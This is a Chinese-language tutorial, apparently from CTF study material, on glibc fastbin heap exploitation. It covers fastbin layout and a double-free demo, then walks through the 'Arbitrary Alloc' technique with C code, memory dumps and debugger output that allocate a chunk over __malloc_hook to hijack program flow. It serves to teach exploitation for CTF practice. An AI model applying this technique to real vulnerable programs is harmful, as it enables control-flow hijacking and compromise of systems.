fastbin分为使用的、未使用的。未使用的包含fd,指向下一个fastbin。使用(或分配)的fastbin没有fd,只有prev_size、size、data。
|prev_size| size |
|---------|---------|
| fd | |
|---------|---------|
| data |
+---------|---------+
typedefstruct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
}CHUNK,*PCHUNK;
单链表存储fastbins。释放fastbins时,将其放入表头。分配时,先从表头取。即按照后进先出的原则进行分配。
见下面的例子
int main(void)
{
void*chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
return0;
}
调用malloc(0x10)三次,将依次分配chunk1, chunk2, chunk1。
fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞;
漏洞发生于 fastbin 类型的 chunk 中;
如果细分的话,可以做如下的分类:
Fastbin Double Free
House of Spirit
Alloc to Stack
Arbitrary Alloc
其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。
Arbitrary Alloc在 CTF 中用地更加频繁。我们可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。下面对它进行详细讲述。
介绍
Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。
演示
在这个例子,我们使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置,相当于覆盖_malloc_hook 来控制程序流程。
int main(void)
{
void *chunk1;
void *chunk_a;
chunk1=malloc(0x60);
free(chunk1);
*(long long*)chunk1=0x7ffff7dd1af5-0x8;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}
这里的 0x7ffff7dd1af5 是我根据本机的情况得出的值,这个值是怎么获得的呢?首先我们要观察欲写入地址附近是否存在可以字节错位的情况。
0x7ffff7dd1a88 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1a90 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1a98 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1aa0 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1aa8 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ab0 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ab8 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ac0 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ac8 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ad0 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ad8 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ae0 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1ae8 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1b00 0x20 0x2e 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b08 0x0 0x2a 0xa90xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 <__malloc_hook>: 0x30 0x28 0xa9 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1b10 是我们想要控制的 __malloc_hook 的地址,于是我们向上寻找是否可以错位出一个合法的 size 域。因为这个程序是 64 位的,因此 fastbin 的范围为 32 字节到 128 字节 (0x20-0x80),如下:
通过观察发现 0x7ffff7dd1af5 处可以现实错位构造出一个0x000000000000007f
0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0
0x7ffff7dd1af8 0x0 0x0 0x0 0x00x0 0x0 0x0 0x0
0x7ffff7dd1af5 <_IO_wide_data_0+309>: 0x000000000000007f
因为 0x7f 在计算 fastbin index 时,是属于 index 5 的,即 chunk 大小为 0x70 的,将其加入链表。 最后经过两次分配可以观察到 chunk 被分配到0x7ffff7dd1afd,因此我们就可以直接控制 __malloc_hook 的内容。
0x4005a8 call 0x400450
→ 0x4005ad mov QWORD PTR [rbp-0x8], rax
$rax : 0x7ffff7dd1afd
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
总结
fd只要其size域属于该chunk就可以通过malloc检查。因此只要想写入的地址附近有属于该fastbin的size就可以让malloc分配到该位置。
如此选择一个合适的地址设为A,则chunk起始地址为A-8(pre size),usrdata(fd指针与之同体)部分为A+8,且上一个fd指向地址为A-8。
构造的xx大小-0x10,为malloc的参数,即返回的usrdata大小。